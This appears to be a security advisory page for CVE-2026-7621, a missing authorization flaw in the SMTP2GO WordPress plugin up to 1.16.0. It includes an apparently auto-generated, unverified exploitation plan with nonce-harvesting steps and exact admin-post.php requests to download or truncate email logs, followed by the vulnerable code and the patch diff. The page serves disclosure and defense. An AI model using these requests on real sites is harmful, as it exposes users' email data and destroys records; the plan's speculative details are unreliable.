CVE-2026-7621

SMTP2GO for WordPress <= 1.16.0 - Missing Authorization to Authenticated (Subscriber+) Log Read/Truncate

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.17.0
Patched in
1d
Time to patch

Description

The SMTP2GO for WordPress – Email Made Easy plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 1.16.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to truncate all SMTP2GO log records from the database or download a CSV export of all SMTP log data including recipient addresses, sender addresses, message subjects, and API response data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.16.0
PublishedMay 27, 2026
Last updatedMay 28, 2026
Affected pluginsmtp2go

What Changed in the Fix

Changes introduced in v1.17.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7621 - SMTP2GO Log Unauthorized Access ## 1. Vulnerability Summary The **SMTP2GO for WordPress** plugin (up to 1.16.0) contains a missing authorization vulnerability in its log management features. Specifically, the functions `truncateLogs()` and `downloadLogs…

Show full research plan

Exploitation Research Plan: CVE-2026-7621 - SMTP2GO Log Unauthorized Access

1. Vulnerability Summary

The SMTP2GO for WordPress plugin (up to 1.16.0) contains a missing authorization vulnerability in its log management features. Specifically, the functions truncateLogs() and downloadLogs() in the SMTP2GO\App\WordpressPluginAdmin class perform nonce verification but fail to check if the current user possesses the manage_options or similar administrative capability. This allows any authenticated user, including those with the Subscriber role, to trigger these actions if they can obtain a valid nonce.

2. Attack Vector Analysis

  • Endpoints:
    • /wp-admin/admin-post.php?action=truncate_smtp2go_logs
    • /wp-admin/admin-post.php?action=download_smtp2go_logs
  • Parameters:
    • action: The WordPress action hook (truncate_smtp2go_logs or download_smtp2go_logs).
    • _wpnonce: A valid WordPress nonce for the respective action.
  • Authentication: Authenticated (Subscriber level or higher).
  • Vulnerability Type: Insecure Direct Object Reference (IDOR) / Missing Role-Based Access Control (RBAC).

3. Code Flow

  1. Entry Point: A request is made to admin-post.php with an action parameter.
  2. Hook Registration: The plugin registers these actions (likely via add_action( 'admin_post_...', ... )).
  3. Execution:
    • For truncation: SMTP2GO\App\WordpressPluginAdmin::truncateLogs() is called.
    • For download: SMTP2GO\App\WordpressPluginAdmin::downloadLogs() is called.
  4. Vulnerable Sink (Download):
    // app/WordpressPluginAdmin.php
    public function downloadLogs() {
        wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs') or die('Invalid nonce');
        global $wpdb;
        $table = $wpdb->prefix . 'smtp2go_api_logs';
        $logs  = $wpdb->get_results("SELECT * FROM $table ORDER BY created_at DESC"); // Sensitive data fetched
        // ... outputs CSV ...
    }
    
  5. Vulnerable Sink (Truncate):
    // app/WordpressPluginAdmin.php
    public function truncateLogs() {
        wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs') or die('Invalid nonce');
        global $wpdb;
        $table = $wpdb->prefix . 'smtp2go_api_logs';
        $wpdb->query("TRUNCATE TABLE $table"); // Database modified
        // ... redirects ...
    }
    
  6. Missing Check: Notice the absence of if ( ! current_user_can( 'manage_options' ) ) wp_die(); in both methods.

4. Nonce Acquisition Strategy

Nonces in this plugin are likely generated in the admin settings page. Even if a Subscriber cannot access the "Settings" page UI, the plugin might enqueue scripts or localize data on all admin pages (including the Subscriber's profile page).

Strategy:

  1. Log in as a Subscriber.
  2. Navigate to /wp-admin/profile.php.
  3. Search for the nonces in the page source or global JS objects.
  4. If not found, check if the plugin registers a menu page with weak capabilities (e.g., read). If so, navigate to that page.

JavaScript Variable Search:
Use browser_eval to look for nonces often passed via wp_localize_script. Common names for this plugin's JS objects might be smtp2go_admin_vars or smtp2go_data.

// Scan for potential localization objects
Object.keys(window).filter(k => k.toLowerCase().includes('smtp2go'));

5. Exploitation Strategy

Step A: Download Sensitive Logs

  1. Request:
    GET /wp-admin/admin-post.php?action=download_smtp2go_logs&_wpnonce=[NONCE] HTTP/1.1
    Cookie: [Subscriber Cookies]
    
  2. Tool: http_request
  3. Expected Response: 200 OK with Content-Type: text/csv and a filename like smtp2go-logs-YYYY-MM-DD.csv. The body should contain email recipient addresses and subjects.

Step B: Truncate All Logs

  1. Request:
    GET /wp-admin/admin-post.php?action=truncate_smtp2go_logs&_wpnonce=[NONCE] HTTP/1.1
    Cookie: [Subscriber Cookies]
    
  2. Tool: http_request
  3. Expected Response: 302 Redirect back to the logs page. The database table will now be empty.

6. Test Data Setup

  1. Send Test Emails: Use wp eval to send several emails so that smtp2go_api_logs is populated.
    wp eval 'wp_mail("victim@example.com", "Sensitive Subject", "Sensitive Content");'
    
  2. Verify Logs Exist:
    wp db query "SELECT count(*) FROM wp_smtp2go_api_logs;"
    
  3. Create Attacker:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    

7. Expected Results

  • Information Disclosure: The CSV download should contain records of emails sent by the site, including columns: Site ID, To, From, Subject, Response, and Created At.
  • Integrity Loss: The truncate action will successfully clear the wp_smtp2go_api_logs table.

8. Verification Steps

  1. Check CSV Content: After the downloadLogs request, verify the downloaded file contains the strings "Sensitive Subject" and "victim@example.com".
  2. Verify Truncation: After the truncateLogs request, run:
    wp db query "SELECT count(*) FROM wp_smtp2go_api_logs;"
    
    The result must be 0.

9. Alternative Approaches

If the nonces are strictly restricted to the manage_options capability at generation time (i.e., they are only rendered on the settings page and that page is hard-blocked), the exploit may fail. However, standard missing authorization vulnerabilities in WordPress often coincide with "leaky" nonces or a failure to check capabilities during the menu registration itself.

Another area to check is the clearSavedApiKey function (line 117), which correctly checks current_user_can('manage_options'), highlighting the developer's oversight in the log-related functions.

Research Findings
Static analysis — not yet PoC-verified

Summary

The SMTP2GO for WordPress plugin (up to version 1.16.0) lacks authorization checks in its log management functions. This allows authenticated users with Subscriber-level permissions or higher to truncate the plugin's API logs or download a CSV export containing sensitive email data such as recipient addresses, subjects, and API responses.

Vulnerable Code

// app/WordpressPluginAdmin.php line 72
public function truncateLogs()
{
    wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs') or die('Invalid nonce');
    global $wpdb;
    $table = $wpdb->prefix . 'smtp2go_api_logs';
    $wpdb->query("TRUNCATE TABLE $table");
    $url = admin_url('admin.php?page=' . $this->plugin_name . '&tab=logs');
    header('Location: ' . $url);
    exit;
}

---

// app/WordpressPluginAdmin.php line 84
public function downloadLogs()
{
    wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs') or die('Invalid nonce');
    global $wpdb;
    $table = $wpdb->prefix . 'smtp2go_api_logs';
    $logs  = $wpdb->get_results("SELECT * FROM $table ORDER BY created_at DESC");
    $filename = 'smtp2go-logs-' . date('Y-m-d') . '.csv';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/smtp2go/1.15.0/app/WordpressPluginAdmin.php	2026-05-04 00:35:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/smtp2go/1.17.0/app/WordpressPluginAdmin.php	2026-05-24 23:37:38.000000000 +0000
@@ -74,7 +73,13 @@
 
     public function truncateLogs()
     {
-        wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs') or die('Invalid nonce');
+        if (
+            !current_user_can('manage_options')
+            || !isset($_GET['_wpnonce'])
+            || !wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs')
+        ) {
+            wp_die('Unauthorized', 403);
+        }
         global $wpdb;
         $table = $wpdb->prefix . 'smtp2go_api_logs';
         $wpdb->query("TRUNCATE TABLE $table");
@@ -85,7 +90,13 @@
 
     public function downloadLogs()
     {
-        wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs') or die('Invalid nonce');
+        if (
+            !current_user_can('manage_options')
+            || !isset($_GET['_wpnonce'])
+            || !wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs')
+        ) {
+            wp_die('Unauthorized', 403);
+        }
         global $wpdb;
         $table = $wpdb->prefix . 'smtp2go_api_logs';
         $logs  = $wpdb->get_results("SELECT * FROM $table ORDER BY created_at DESC");

Exploit Outline

The exploit targets the admin-post.php endpoint. An attacker requires a valid WordPress account with at least Subscriber-level privileges. By obtaining a valid nonce (which may be exposed via script localization on standard admin pages), the attacker sends a GET request to /wp-admin/admin-post.php with the action parameter set to either 'download_smtp2go_logs' or 'truncate_smtp2go_logs' and the corresponding nonce. Because the plugin only verifies the nonce and not the user's capabilities, it executes the log retrieval or deletion as requested.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.